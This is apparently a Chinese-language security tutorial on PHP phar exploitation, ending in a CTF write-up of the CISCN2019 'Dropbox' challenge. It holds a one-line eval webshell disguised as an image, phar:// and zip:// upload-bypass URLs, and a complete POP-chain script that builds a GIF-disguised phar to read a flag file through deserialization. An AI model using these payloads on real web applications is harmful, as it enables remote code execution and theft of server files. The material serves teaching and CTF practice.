phar的利用姿势

主要来说就2大利用,一个上传用phar伪协议绕过,一个是Phar反序列化漏洞

Phar的简述

phar是什么?Phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此,phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘。此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上

利用姿势一、上传绕过

使用Phar://伪协议流可以Bypass一些上传的waf,大多数情况下和文件包含一起使用,就类似于我们的压缩包(其实就是一个压缩包)

hack

test.php

1
<?php @eval($_POST["cmd"]);?>

然后将test.php压缩->test.zip改名->test.jpg
index.php

1
2
3
<?php 
include('phar://./test.jpg/test.php');
?>

成功包含(test.jpg为压缩包文件,后面的test.php为里面压缩包文件)
其实和zip协议感觉上差不多

zip

利用zip或phar伪协议可以读取压缩包中的文件,解压的压缩包与后缀无关。
如将file.txt压缩成zip,改后缀为jpg绕过上传限制然后利用如下读取文件

1
2
/about.php?file=phar://./images/file.jpg/1.php
/about.php?file=zip://./images/file.jpg%231.php

利用姿势二:Phar反序列化漏洞

test:
PS:php.ini中必须设置phar.readonly=Off,不然Phar文件就会无法生成。

1
2
3
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off

先新建一个php内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Test{
public $test="test";
}
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>

访问后得到文件test.phar

然后使用Phar://协议
demo.php

1
2
3
4
5
6
7
8
9
<?php
class Test{
function __destruct(){
echo $this->test;
}
}
file_get_contents("phar://./test.phar/test.txt");
?>
//输出test

这里的test.txt可以是任意字符
除了file_get_contents,这些函数都可用

phar反序列化漏洞原理分析

phar文件结构(参考上面test.phar的图)

、stub

一个供phar扩展用于识别的标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2、manifest

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。

3、contents

被压缩文件的内容。

4、signature

签名,放在文件末尾,格式如下:

发生反序列化原因

在使用phar://协议读取文件时,文件会被解析成phar
解析过程中会触发php_var_unserialize()函数对meta-data的操作,造成反序列化。
一般情况下,利用Phar反序列漏洞有几个条件:

1
2
3
可以上传Phar文件
有可以利用的魔术方法
文件操作函数的参数可控

CISCN2019-Dropbox

phar和pop链的利用姿势(参考[CISCN2019 华北赛区 Day1 Web1]Dropbox)

地址:buuctf/dropbox
这题套路差不多,也是phar触发的反序列化,每次比赛都有这样的题。。。这题没啥说的,主要是细心。
随便注册个账号,直接登录进去,有三个功能:上传、下载、删除。肯定要试试任意下载,果然有一个。先试了passwd验证了之后想开始找目录,找了半天发现用../../index.php就行了。
下载源码分析几个主要的文件,分别是class.php、download.php和delete.php。
class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;


public function __construct() {
global $db;
$this->db = $db;
}


public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}


public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}


public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}


public function __destruct() {
$this->db->close();
}
}


class FileList {
private $files;
private $results;
private $funcs;


public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);


$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);


foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}


public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}


public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}


class File {
public $filename;


public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}


public function name() {
return basename($this->filename);
}


public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}


public function detele() {
unlink($this->filename);
}


public function close() {
return file_get_contents($this->filename);
}
}
?>

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");


chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

先找找有没有什么敏感函数,File类中open方法有file_exists可以触发phar的反序列化,close方法有file_get_contents可以读内容。所有就根据这两处找找利用链。最开始想到就是User类中的析构函数调用了db属性的close方法,可以把db赋值为一个File类,调用同名函数。
但是这有个问题,读完了文件并没有回显的地方,所以这其实是个坑。再看看发现回显是在FileList中call方法给list赋值,然后destruct中打印。
运行这个生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class User {
public $db;
}
class FileList {
private $files;
public function __construct(){
$this->files=array(new File());
}
}
class File{
public $filename = "/flag.txt";
}
$o = new User();
$o->db =new FileList();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
copy("phar.phar","test.gif")
?>

在删除的时候拿到flag
解释:
User->db是FileList类,Userdestruct时会调用db的close方法,因为FileList没有close方法所以触发call函数,call里面的逻辑就是再去调用$file的同名方法,$file是一个File类,所以就调用了File的close方法,读取了文件,存到FileList类的result中,destruct时候打印到页面。
有了pop链然后就是找触发反序列化的点,看上去有三个参数可控点可以触发,分别是download.php中和delete.php中调用的File类的open方法,其中有file_exist函数。另外是delete.php中调用的File的delete方法,里面有unlink函数。
但实际上unlink那里的没办法传参,参数是不可控的,只能通过open方法。而download中的open方法前面被open_basedir限制了路径,没办法利用。所以最后的触发点就是delete.php中的filename参数。上传伪装的phar文件test.gif,然后向delete.php用post发送filename=phar://test.gif就会在返回值中打印出flag

#参考链接
http://adm1n.design/2019/09/10/Ciscn%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Dropbox/
https://xz.aliyun.com/t/2715